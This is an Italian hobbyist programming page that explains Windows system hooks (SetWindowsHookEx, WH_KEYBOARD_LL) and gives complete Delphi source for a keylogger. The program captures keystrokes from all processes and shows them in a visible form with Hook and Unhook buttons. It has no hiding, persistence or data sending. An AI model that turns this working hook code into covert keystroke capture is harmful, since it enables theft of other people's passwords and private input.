Home | Chi sono | Contattami
 

Progr. lineare

Delphi
 
Componenti
  Database
 
Miei articoli

Windows

Miei articoli 

 

Creare un keylogger


E' da un pò di tempo che mi volevo costruire un keylogger ed oggi ho deciso che era il caso di passare dalle parole ai fatti. Ahh dimentivicavo: si tratta di un programma che intercetta tutti i tasti premuti della tastiera. Ho cominciato a navigare un pò ed ho reperito numerosi esempi in quasi tutti i linguaggi di programmazione: in sostanza si crea un Hook di sistema tramite l' api SetWindowsHookEx ed il gioco è fatto (beehh bisogna approfondire un pò).

1. Hook di sistema

Un hook è un punto, nel meccanismo di gestione messaggi di windows, in cui un' applicazione può installare una procedura per monitorare il traffico dei messaggi ed eseguire determinate operazioni in corrispondenza di determinati messaggi prima che i medesimi vengano processati dalla Window Procedure della finestra alla quale sono destinati.

1.1 API per gli Hook di sistema

Un Hook di sistema viene creato tramite una chiamata all' api SetWindowsHookEx e disinstallato tramite una chiamata all' api UnhookWindowsHookEx. Di seguito le dichiarazioni

function SetWindowsHookEx(idHook: Integer; lpfn: TFNHookProc; hmod: Longword; dwThreadId: DWORD): HHOOK; stdcall; function UnhookWindowsHookEx(hhk: LongWord): BOOL; stdcall; TFNHookProc = function (code: Integer; wparam: WPARAM; lparam: LPARAM): LRESULT stdcall;

Analizziamo i parametri della SetWindowsHookEx

  • idHook: definisce la tipologia di hook che si vuole installare e quindi la tipologia di messaggio che si vuole manipolare ed in quale punto del meccanismo di gestione messaggi questo/i messaggio/i deve essere gestito (WH_KEYBOARD, WH_KEYBOARD_LL, WH_MOUSE, etc...).
  • lpfn: indica la funzione che deve essere implementata per definire il comportamento in corrispondenza del tipo di messaggio che si vuole manipolare. Gli stessi parametri wparam ed lparam sono appunto i campi wparam ed lparam tipici di ogni messaggio di Windows (vedere il tipo TMsg nella documentazione di Delphi a tal proposito)
  • hMod: definisce l' handle del modulo (dll) in cui è implementata la funzione definita dal parametro lpfn.
  • dwThreadId: identificativo del thread (Thread Id o anche TID) nel cui contesto si vuole installare l' hook: 0 equivale a tutti i thread. Se l' id si riferisce all' eseguibile corrente allora la funzione di tipo TFNHookProc può essere tranquillamente implementata nell' eseguibile corrente altrimenti deve essere implementata in una dll

2. Creazione del KeyLogger

Volendo creare un programmino che rilevi i tasti premuti nell'ambito di tutti i processi, la scelta può quindi essere quella di installare un Keyboard Hook ossia un Hook di sistema di tipi WH_KEYBOARD. Girando in rete è possibile trovare diversi esempi al riguardo. Tutti usano una dll per implementare la funzione TFNHookProc: infatti (come viene sottolineato del resto anche nel paragrafo precedente nella descrizione del parametro dwThreadId) questo è l'approccio classico. Ho deciso di sperimentare un pò e vedere se era possibile creare un keylogger incorporando tutto nell'eseguibile principale (senza quindi dover ricorrere ad una dll). Dopo aver avuto risultati negativi (crash di explorer.exe) usando il classico valore WH_KEYBOARD, ho provato con l' hook WH_KEYBOARD_LL ed effettivamente con questo tipo di hook (anch' esso relativo alla digitazione di tasti) si può implementare la Hook procedure direttamente nell' eseguibile e non necessariamante in una dll esterna (con notevoli semplificazioni: il dialogo con una dll esterna dovrebbe avvenire tramite scambio messaggio ed utilizzo di oggetti per la comunicazione tra processi come ad esempio file mappati in memoria, mailslot, pipe, nonchè strumenti per l' accesso esclusivo ai dati e sincronizzazioni quali semafori, mutex, sezioni critiche etc...). Per installare l' hook WH_KEYBOARD_LL, andrò a specificare l' intero 13 come valore per il parametro idHook nell' api SetWindowsHookEx. E così ecco il sorgente del KeyLogger tutto in un eseguibile

unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, AppEvnts; type PKBDLLHOOKSTRUCT = ^KBDLLHOOKSTRUCT; KBDLLHOOKSTRUCT = record vkCode: DWORD; scanCode: DWORD; flags: DWORD; time: DWORD; dwExtraInfo: Longword; end; type TForm1 = class(TForm) btHook: TButton; btUnhook: TButton; Memo1: TMemo; procedure btHookClick(Sender: TObject); procedure btUnhookClick(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; hinstDLL: LongWord; hhookSysMsg: Longword; implementation {$R *.dfm} function KeyboardHookProcedure(nCode: Integer; wParam: WPARAM; lParam: LPARAM): integer; stdcall; var strKeyName : string; hooked: KBDLLHOOKSTRUCT; dwMsg: DWORD; begin result := 0; if ((nCode = HC_ACTION) and ((wParam = WM_SYSKEYUP) or (wParam = WM_KEYUP))) then begin hooked := PKBDLLHOOKSTRUCT(lParam)^; dwMsg := 0; dwMsg := dwMsg + (hooked.scanCode shl 16); dwMsg := dwMsg + (hooked.flags shl 24); SetLength(strKeyName, 20); GetKeyNameText(dwMsg, pChar(strKeyName), $FF); strKeyName := copy(strKeyName,1,StrLen(pChar(strKeyName))); Form1.Memo1.Text := Form1.Memo1.Text + '{' + strKeyName + '}'; end; result := CallNextHookEx(hhookSysMsg, nCode, wParam, lParam); end; procedure TForm1.btHookClick(Sender: TObject); begin hinstDLL := GetModuleHandle(nil); hhookSysMsg := SetWindowsHookEx(13, @KeyboardHookProcedure, hinstDLL, 0); end; procedure TForm1.btUnhookClick(Sender: TObject); begin UnhookWindowsHookEx(hhookSysMsg); end; end.

 

 

 

 

 

 
 
Your Ad Here